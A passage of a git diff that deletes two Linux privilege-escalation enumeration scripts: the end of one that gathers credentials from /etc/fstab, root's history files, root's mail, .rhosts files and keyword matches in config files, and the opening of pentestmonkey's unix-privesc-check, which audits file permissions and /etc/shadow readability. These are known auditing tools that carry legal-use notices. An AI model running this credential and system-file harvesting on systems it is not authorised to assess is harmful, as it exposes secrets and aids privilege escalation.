$format/rhosts/ 2>/dev/null - for i in $rhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -bsdrhostsusr=`find /usr/home -iname *.rhosts -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$bsdrhostsusr" ]; then - echo -e "\e[00;31mrhost config file(s) and file contents:\e[00m\n$bsdrhostsusr" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$bsdrhostsusr" ]; then - mkdir $format/rhosts 2>/dev/null - for i in $bsdrhostsusr; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -rhostssys=`find /etc -iname hosts.equiv -exec ls -la {} 2>/dev/null \; -exec cat {} 2>/dev/null \;` -if [ "$rhostssys" ]; then - echo -e "\e[00;31mHosts.equiv file details and file contents: \e[00m\n$rhostssys" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$rhostssys" ]; then - mkdir $format/rhosts/ 2>/dev/null - for i in $rhostssys; do cp --parents $i $format/rhosts/; done 2>/dev/null -else - : -fi - -#list nfs shares/permisisons etc. -nfsexports=`ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null` -if [ "$nfsexports" ]; then - echo -e "\e[00;31mNFS config details: \e[00m\n$nfsexports" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$nfsexports" ]; then - mkdir $format/etc-export/ 2>/dev/null - cp /etc/exports $format/etc-export/exports 2>/dev/null -else - : -fi - -#looking for credentials in /etc/fstab -fstab=`cat /etc/fstab 2>/dev/null |grep username |awk '{sub(/.*\username=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo username: 2>/dev/null; cat /etc/fstab 2>/dev/null |grep password |awk '{sub(/.*\password=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo password: 2>/dev/null; cat /etc/fstab 2>/dev/null |grep domain |awk '{sub(/.*\domain=/,"");sub(/\,.*/,"")}1' 2>/dev/null| xargs -r echo domain: 2>/dev/null` -if [ "$fstab" ]; then - echo -e "\e[00;33m***Looks like there are credentials in /etc/fstab!\e[00m\n$fstab" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$fstab" ]; then - mkdir $format/etc-exports/ 2>/dev/null - cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null -else - : -fi - -fstabcred=`cat /etc/fstab 2>/dev/null |grep cred |awk '{sub(/.*\credentials=/,"");sub(/\,.*/,"")}1' 2>/dev/null | xargs -I{} sh -c 'ls -la {}; cat {}' 2>/dev/null` -if [ "$fstabcred" ]; then - echo -e "\e[00;33m***/etc/fstab contains a credentials file!\e[00m\n$fstabcred" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - : -fi - -if [ "$export" ] && [ "$fstabcred" ]; then - mkdir $format/etc-exports/ 2>/dev/null - cp /etc/fstab $format/etc-exports/fstab done 2>/dev/null -else - : -fi - -#use supplied keyword and cat *.conf files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ]; then - echo -e "Can't search *.conf files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - confkey=`find / -maxdepth 4 -name *.conf -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$confkey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$confkey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .conf files (recursive 4 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .conf files" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - fi -fi - -if [ "$keyword" = "" ]; then - : - else - if [ "$export" ] && [ "$confkey" ]; then - confkeyfile=`find / -maxdepth 4 -name *.conf -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/config_files/ 2>/dev/null - for i in $confkeyfile; do cp --parents $i $format/keyword_file_matches/config_files/ ; done 2>/dev/null - else - : - fi -fi - -#use supplied keyword and cat *.log files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ];then - echo -e "Can't search *.log files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - logkey=`find / -name *.log -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$logkey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .log files (output format filepath:identified line number where keyword appears):\e[00m\n$logkey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .log files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .log files" - echo -e "\n" |tee -a $report 2>/dev/null - fi -fi - -if [ "$keyword" = "" ];then - : - else - if [ "$export" ] && [ "$logkey" ]; then - logkeyfile=`find / -name *.log -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/log_files/ 2>/dev/null - for i in $logkeyfile; do cp --parents $i $format/keyword_file_matches/log_files/ ; done 2>/dev/null - else - : - fi -fi - -#use supplied keyword and cat *.ini files for potential matches - output will show line number within relevant file path where a match has been located -if [ "$keyword" = "" ];then - echo -e "Can't search *.ini files as no keyword was entered\n" |tee -a $report 2>/dev/null - else - inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -Hn $keyword {} \; 2>/dev/null` - if [ "$inikey" ]; then - echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 4 levels - output format filepath:identified line number where keyword appears):\e[00m\n$inikey" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null - else - echo -e "\e[00;31mFind keyword ($keyword) in .ini files (recursive 2 levels):\e[00m" |tee -a $report 2>/dev/null - echo -e "'$keyword' not found in any .ini files" |tee -a $report 2>/dev/null - echo -e "\n" - fi -fi - -if [ "$keyword" = "" ];then - : - else - if [ "$export" ] && [ "$inikey" ]; then - inikey=`find / -maxdepth 4 -name *.ini -type f -exec grep -lHn $keyword {} \; 2>/dev/null` - mkdir --parents $format/keyword_file_matches/ini_files/ 2>/dev/null - for i in $inikey; do cp --parents $i $format/keyword_file_matches/ini_files/ ; done 2>/dev/null - else - : - fi -fi - -#quick extract of .conf files from /etc - only 1 level -allconf=`find /etc/ -maxdepth 1 -name *.conf -type f -exec ls -la {} \; 2>/dev/null` -if [ "$allconf" ]; then - echo -e "\e[00;31mAll *.conf files in /etc (recursive 1 level):\e[00m\n$allconf" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$allconf" ]; then - mkdir $format/conf-files/ 2>/dev/null - for i in $allconf; do cp --parents $i $format/conf-files/; done 2>/dev/null -else - : -fi - -#extract any user history files that are accessible -usrhist=`ls -la ~/.*_history 2>/dev/null` -if [ "$usrhist" ]; then - echo -e "\e[00;31mCurrent user's history files:\e[00m\n$usrhist" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$usrhist" ]; then - mkdir $format/history_files/ 2>/dev/null - for i in $usrhist; do cp --parents $i $format/history_files/; done 2>/dev/null - else - : -fi - -#can we read roots *_history files - could be passwords stored etc. -roothist=`ls -la /root/.*_history 2>/dev/null` -if [ "$roothist" ]; then - echo -e "\e[00;33m***Root's history files are accessible!\e[00m\n$roothist" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$roothist" ]; then - mkdir $format/history_files/ 2>/dev/null - cp $roothist $format/history_files/ 2>/dev/null -else - : -fi - -#is there any mail accessible -readmail=`ls -la /var/mail 2>/dev/null` -if [ "$readmail" ]; then - echo -e "\e[00;31mAny interesting mail in /var/mail:\e[00m\n$readmail" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#can we read roots mail -readmailroot=`head /var/mail/root 2>/dev/null` -if [ "$readmailroot" ]; then - echo -e "\e[00;33m***We can read /var/mail/root! (snippet below)\e[00m\n$readmailroot" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -if [ "$export" ] && [ "$readmailroot" ]; then - mkdir $format/mail-from-root/ 2>/dev/null - cp $readmailroot $format/mail-from-root/ 2>/dev/null -else - : -fi - -#specific checks - check to see if we're in a docker container -dockercontainer=`cat /proc/self/cgroup 2>/dev/null | grep -i docker 2>/dev/null; find / -name "*dockerenv*" -exec ls -la {} \; 2>/dev/null` -if [ "$dockercontainer" ]; then - echo -e "\e[00;33mLooks like we're in a Docker container:\e[00m\n$dockercontainer" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - check to see if we're a docker host -dockerhost=`docker --version 2>/dev/null; docker ps -a 2>/dev/null` -if [ "$dockerhost" ]; then - echo -e "\e[00;33mLooks like we're hosting Docker:\e[00m\n$dockerhost" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are we a member of the docker group -dockergrp=`id | grep -i docker 2>/dev/null` -if [ "$dockergrp" ]; then - echo -e "\e[00;33mWe're a member of the (docker) group - could possibly misuse these rights!:\e[00m\n$dockergrp" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are there any docker files present -dockerfiles=`find / -name Dockerfile -exec ls -l {} 2>/dev/null \;` -if [ "$dockerfiles" ]; then - echo -e "\e[00;31mAnything juicy in the Dockerfile?:\e[00m\n$dockerfiles" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -#specific checks - are there any docker files present -dockeryml=`find / -name docker-compose.yml -exec ls -l {} 2>/dev/null \;` -if [ "$dockeryml" ]; then - echo -e "\e[00;31mAnything juicy in docker-compose.yml?:\e[00m\n$dockeryml" |tee -a $report 2>/dev/null - echo -e "\n" |tee -a $report 2>/dev/null -else - : -fi - -echo -e "\e[00;33m### SCAN COMPLETE ####################################\e[00m" |tee -a $report 2>/dev/null - -#EndOfScript \ No newline at end of file diff --git a/__not_mine/linuxprivchecker.sh b/__not_mine/linuxprivchecker.sh deleted file mode 100644 index 6376e61..0000000 --- a/__not_mine/linuxprivchecker.sh +++ /dev/null @@ -1,1086 +0,0 @@ -#!/bin/sh -# unix-privesc-check - Checks Unix system for simple privilege escalations -# Copyright (C) 2008 pentestmonkey@pentestmonkey.net -# -# -# License -# ------- -# This tool may be used for legal purposes only. Users take full responsibility -# for any actions performed using this tool. The author accepts no liability -# for damage caused by this tool. If you do not accept these condition then -# you are prohibited from using this tool. -# -# In all other respects the GPL version 2 applies: -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License version 2 as -# published by the Free Software Foundation. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# You are encouraged to send comments, improvements or suggestions to -# me at pentestmonkey@pentestmonkey.net -# -# -# Description -# ----------- -# Auditing tool to check for weak file permissions and other problems that -# may allow local attackers to escalate privileges. -# -# It is intended to be run by security auditors and pentetration testers -# against systems they have been engaged to assess, and also by system -# admnisitrators who want to check for "obvious" misconfigurations. It -# can even be run as a cron job so you can check regularly for misconfigurations -# that might be introduced. -# -# Ensure that you have the appropriate legal permission before running it -# someone else's system. -# -# TODO List -# --------- -# There's still plenty that this script doesn't do... -# - Doesn't work for shell scripts! These appear as "/bin/sh my.sh" in the process listing. -# This script only checks the perms of /bin/sh. Not what we're after. :-( -# - Similarly for perl scripts. Probably python, etc. too. -# - Check /proc/pid/cmdline for absolute path names. Check security of these (e.g. /etc/snmp/snmpd.conf) -# - Check everything in root's path - how to find root's path? -# - /proc/pid/maps, smaps are readable and lists some shared objects. We should check these. -# - /proc/pid/fd contain symlinks to all open files (but you can't see other people FDs) -# - check for trust relationships in /etc/hosts.equiv -# - NFS imports / exports / automounter -# - Insecure stuff in /etc/fstab (e.g. allowing users to mount file systems) -# - Inspecting people's PATH. tricky. maybe read from /proc/pid/environ, .bashrc, /etc/profile, .bash_profile -# - Check if /etc/init.d/* scripts are readable. Advise user to audit them if they are. -# - .exrc? -# - X11 trusts, apache passwd files, mysql trusts? -# - Daemons configured in an insecure way: tftpd, sadmind, rexd -# - World writable dirs aren't as bad if the sticky bit is set. Check for this before reporting vulns. -# - Maybe do a strings of binaries (and their .so's?) -# - Do a better job of parsing cron lines - search for full paths -# - Maybe LDPATHs from /etc/env.d -# - Check if ldd, ld.so.conf changes have broken this script on non-linux systems. -# - Avoid check certain paths e.g. /-/_ clearly isn't a real directory. -# - create some sort of readable report -# - indicate when it's likely a result is a false positive and when it's not. -# - Skip pseudo processes e.g. [usb-storage] -# - File permission on kernel modules -# - Replace calls to echo with a my_echo func. Should be passed a string and an "importance" value: -# - my_echo 1 "This is important and should always be printed out" -# - my_echo 2 "This is less important and should only be printed in verbose mode" -# - We check some files / dirs multiple times. Slow. Can we implement a cache? -# - grep for PRIVATE KEY to find private ssh and ssl keys. Where to grep? -# - check SGID programs - -VERSION="1.4" -HOME_DIR_FILES=".netrc .ssh/id_rsa .ssh/id_dsa .rhosts .shosts .my.cnf .ssh/authorized_keys .bash_history .sh_history .forward" -CONFIG_FILES="/etc/passwd /etc/group /etc/master.passwd /etc/inittab /etc/inetd.conf /etc/xinetd.con /etc/xinetd.d/* /etc/contab /etc/fstab /etc/profile /etc/sudoers" -PGDIRS="/usr/local/pgsql/data ~postgres/postgresql/data ~postgres/data ~pgsql/data ~pgsql/pgsql/data /var/lib/postgresql/data /etc/postgresql/8.2/main /var/lib/pgsql/data" - -get_owner () { - GET_OWNER_FILE=$1 - GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'` -} - -get_group () { - GET_GROUP_FILE=$1 - GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'` -} - -usage () { - echo "unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" - echo - echo "Usage: unix-privesc-check { standard | detailed }" - echo - echo '"standard" mode: Speed-optimised check of lots of security settings.' - echo - echo '"detailed" mode: Same as standard mode, but also checks perms of open file' - echo ' handles and called files (e.g. parsed from shell scripts,' - echo ' linked .so files). This mode is slow and prone to false ' - echo ' positives but might help you find more subtle flaws in 3rd' - echo ' party programs.' - echo - echo "This script checks file permissions and other settings that could allow" - echo "local users to escalate privileges." - echo - echo "Use of this script is only permitted on systems which you have been granted" - echo "legal permission to perform a security assessment of. Apart from this " - echo "condition the GPL v2 applies." - echo - echo "Search the output for the word 'WARNING'. If you don't see it then this" - echo "script didn't find any problems." - echo -} - -banner () { - echo "Starting unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" - echo - echo "This script checks file permissions and other settings that could allow" - echo "local users to escalate privileges." - echo - echo "Use of this script is only permitted on systems which you have been granted" - echo "legal permission to perform a security assessment of. Apart from this " - echo "condition the GPL v2 applies." - echo - echo "Search the output below for the word 'WARNING'. If you don't see it then" - echo "this script didn't find any problems." - echo -} - -MODE=$1 - -if [ ! "$MODE" = "standard" ] && [ ! "$MODE" = "detailed" ]; then - usage - exit 0 -fi - -# Parse any full paths from $1 (config files, progs, dirs). -# Check the permissions on each of these. -check_called_programs () { - CCP_MESSAGE_STACK=$1 - CCP_FILE=$2 - CCP_USER=$3 - CCP_PATH=$4 # optional - - # Check the perms of the supplied file regardless - # The caller doesn't want to have to call check_perms as well as check_called_programs - check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" - - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Check if file is text or not - IS_TEXT=`file "$CCP_FILE" | grep -i text` - IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` - - # Process shell scripts (would also work on config files that reference other files) - if [ ! -z "$IS_TEXT" ]; then - # Parse full paths from file - ignoring commented lines - CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` - for CALLED_FILE in $CALLED_FILES; do - # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - else - # Process dynamically linked binaries - if [ ! -z "$IS_DYNBIN" ]; then - - CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` - for CALLED_FILE in $CALLED_FILES; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - - # Strings binary to look for hard-coded config files - # or other programs that might be called. - for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - fi - fi -} - -# Parse any full paths from $1 (config files, progs, dirs). -# Check the permissions on each of these. -check_called_programs_suid () { - CCP_FILE=$1 - CCP_PATH=$2 # optional - - get_owner $CCP_FILE; CCP_USER=$GET_OWNER_RETURN - CCP_MESSAGE_STACK="$CCP_FILE is SUID $CCP_USER." - LS=`ls -l $CCP_FILE` - echo "Checking SUID-$CCP_USER program $CCP_FILE: $LS" - - # Don't check perms of executable itself - # check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" - - # Check if file is text or not - IS_TEXT=`file "$CCP_FILE" | grep -i text` - IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` - - # Process shell scripts (would also work on config files that reference other files) - if [ ! -z "$IS_TEXT" ]; then - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Parse full paths from file - ignoring commented lines - CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` - for CALLED_FILE in $CALLED_FILES; do - # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - else - # Process dynamically linked binaries - if [ ! -z "$IS_DYNBIN" ]; then - - CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` - for CALLED_FILE in $CALLED_FILES; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - - # Skip the slow check if we're in quick mode - if [ "$MODE" = "standard" ]; then - return 0; - fi - - # Strings binary to look for hard-coded config files - # or other programs that might be called. - for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do - check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" - done - fi - fi -} - -# Check if $1 can be changed by users who are not $2 -check_perms () { - CP_MESSAGE_STACK=$1 - CHECK_PERMS_FILE=$2 - CHECK_PERMS_USER=$3 - CHECK_PERMS_PATH=$4 # optional - - if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -d "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then - CHECK_PERMS_FOUND=0 - if [ ! -z "$CHECK_PERMS_PATH" ]; then - # Look for it in the supplied path - for DIR in `echo "$CHECK_PERMS_PATH" | sed 's/:/ /g'`; do - if [ -f "$DIR/$CHECK_PERMS_FILE" ]; then - CHECK_PERMS_FOUND=1 - CHECK_PERMS_FILE="$DIR/$CHECK_PERMS_FILE" - break - fi - done - fi - - #if [ "$CHECK_PERMS_FOUND" = "0" ]; then - # echo "ERROR: File $CHECK_PERMS_FILE doesn't exist. Checking parent path anyway." - # # return 0 - # fi - fi - - C=`echo "$CHECK_PERMS_FILE" | cut -c 1` - if [ ! "$C" = "/" ]; then - echo "ERROR: Can't find absolute path for $CHECK_PERMS_FILE. Skipping." - return 0 - fi - - echo " Checking if anyone except $CHECK_PERMS_USER can change $CHECK_PERMS_FILE" - - while [ -n "$CHECK_PERMS_FILE" ]; do - perms_secure "$CP_MESSAGE_STACK" $CHECK_PERMS_FILE $CHECK_PERMS_USER - CHECK_PERMS_FILE=`echo $CHECK_PERMS_FILE | sed 's/\/[^\/]*$//'` - done -} - -# Check if $1 can be read by users who are not $2 -check_read_perms () { - CP_MESSAGE_STACK=$1 - CHECK_PERMS_FILE=$2 - CHECK_PERMS_USER=$3 - - if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then - echo "ERROR: File $CHECK_PERMS_FILE doesn't exist" - return 0 - fi - - echo " Checking if anyone except $CHECK_PERMS_USER can read file $CHECK_PERMS_FILE" - - perms_secure_read "$CP_MESSAGE_STACK" "$CHECK_PERMS_FILE" "$CHECK_PERMS_USER" -} - -perms_secure_read () { - PS_MESSAGE_STACK=$1 - PERMS_SECURE_FILE=$2 - PERMS_SECURE_USER=$3 - - if [ ! -b "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -d "$PERMS_SECURE_FILE" ]; then - echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." - return 0 - fi - - # Check if owner is different (but ignore root ownership, that's OK) - only_user_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check group read perm (but ignore root group, that's OK) - group_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check world read perm - world_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE -} - -perms_secure () { - PS_MESSAGE_STACK=$1 - PERMS_SECURE_FILE=$2 - PERMS_SECURE_USER=$3 - - if [ ! -d "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -b "$PERMS_SECURE_FILE" ]; then - # echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." - return 0 - fi - - # Check if owner is different (but ignore root ownership, that's OK) - only_user_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check group write perm (but ignore root group, that's OK) - group_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER - - # Check world write perm - world_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE -} - -only_user_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - # We just need to check the owner really as the owner - # can always grant themselves write access - get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN - if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then - echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can write to $O_FILE" - fi -} - -group_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 # ignore group write access $3 is only member of group - - get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN - P=`ls -lLd $O_FILE | cut -c 6` - if [ "$P" = "w" ] && [ ! "$O_GROUP" = "root" ]; then - # check the group actually has some members other than $O_USER - group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 - if [ "$OTHER_MEMBERS" = "1" ]; then - echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can write to $O_FILE" - fi - fi -} - -group_has_other_members () { - G_GROUP=$1 - G_USER=$2 - - # If LDAP/NIS is being used this script can't check group memberships - # we therefore assume the worst. - if [ "$EXT_AUTH" = 1 ]; then - OTHER_MEMBERS=1 - return 1 - fi - - GROUP_LINE=`grep "^$G_GROUP:" /etc/group` - MEMBERS=`echo "$GROUP_LINE" | cut -f 4 -d : | sed 's/,/ /g'` - - GID=`echo "$GROUP_LINE" | cut -f 3 -d :` - EXTRA_MEMBERS=`grep "^[^:]*:[^:]*:[0-9]*:$GID:" /etc/passwd | cut -f 1 -d : | xargs echo` - - for M in $MEMBERS; do - if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then - OTHER_MEMBERS=1 - return 1 - fi - done - - for M in $EXTRA_MEMBERS; do - if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then - OTHER_MEMBERS=1 - return 1 - fi - done - - OTHER_MEMBERS=0 - return 0 -} - -world_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - - P=`ls -lLd $O_FILE | cut -c 9` - S=`ls -lLd $O_FILE | cut -c 10` - - if [ "$P" = "w" ]; then - if [ "$S" = "t" ]; then - echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE (but sticky bit set)" - else - echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE" - fi - fi -} - -only_user_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - # We just need to check the owner really as the owner - # can always grant themselves read access - get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN - if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then - echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can read $O_FILE" - fi -} - -group_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN - P=`ls -lLd $O_FILE | cut -c 5` - if [ "$P" = "r" ] && [ ! "$O_GROUP" = "root" ]; then - # check the group actually has some members other than $O_USER - group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 - if [ "$OTHER_MEMBERS" = "1" ]; then - echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can read $O_FILE" - fi - fi -} - -world_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - - P=`ls -lLd $O_FILE | cut -c 8` - - if [ "$P" = "w" ]; then - echo "WARNING: $O_MESSAGE_STACK World read is set for $O_FILE" - fi -} - -section () { - echo - echo '############################################' - echo $1 - echo '############################################' -} - -# Guess OS -if [ -x /usr/bin/showrev ]; then - OS="solaris" - SHADOW="/etc/shadow" -elif [ -x /usr/sbin/sam -o -x /usr/bin/sam ]; then - OS="hpux" - SHADOW="/etc/shadow" -elif [ -f /etc/master.passwd ]; then - OS="bsd" - SHADOW="/etc/master.passwd" -else - OS="linux" - SHADOW="/etc/shadow" -fi -echo "Assuming the OS is: $OS" -CONFIG_FILES="$CONFIG_FILES $SHADOW" - -# Set path so we can access usual directories. HPUX and some linuxes don't have sbin in the path. -PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH - -# Check dependent programs are installed -# Assume "which" is installed! -PROGS="ls awk grep cat mount xargs file ldd strings" -for PROG in $PROGS; do - which $PROG 2>&1 > /dev/null - if [ ! $? = "0" ]; then - echo "ERROR: Dependend program '$PROG' is mising. Can't run. Sorry!" - exit 1 - fi -done - -banner - -section "Recording hostname" -hostname - -section "Recording uname" -uname -a - -section "Recording Interface IP addresses" -if [ $OS = 'hpux' ]; then - for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do - ifconfig $IFACE 2>/dev/null - done -else - ifconfig -a -fi - -section "Checking if external authentication is allowed in /etc/passwd" -FLAG=`grep '^+:' /etc/passwd` -if [ -n "$FLAG" ]; then - echo "WARNING: /etc/passwd allows external authentcation:" - grep '^+:' /etc/passwd - EXT_AUTH=1 -else - echo "No +:... line found in /etc/passwd" -fi - -section "Checking nsswitch.conf for addition authentication methods" -if [ -r "/etc/nsswitch.conf" ]; then - NIS=`grep '^passwd' /etc/nsswitch.conf | grep 'nis'` - if [ -n "$NIS" ]; then - echo "WARNING: NIS is used for authentication on this system" - EXT_AUTH=1 - fi - LDAP=`grep '^passwd' /etc/nsswitch.conf | grep 'ldap'` - if [ -n "$LDAP" ]; then - echo "WARNING: LDAP is used for authentication on this system" - EXT_AUTH=1 - fi - - if [ -z "$NIS" ] && [ -z "$LDAP" ]; then - echo "Neither LDAP nor NIS are used for authentication" - fi -else - echo "ERROR: File /etc/nsswitch.conf isn't readable. Skipping checks." -fi - -# Check important config files aren't writable -section "Checking for writable config files" -for FILE in $CONFIG_FILES; do - if [ -f "$FILE" ]; then - check_perms "$FILE is a critical config file." "$FILE" root - fi -done - -section "Checking if $SHADOW is readable" -check_read_perms "/etc/shadow holds authentication data" $SHADOW root - 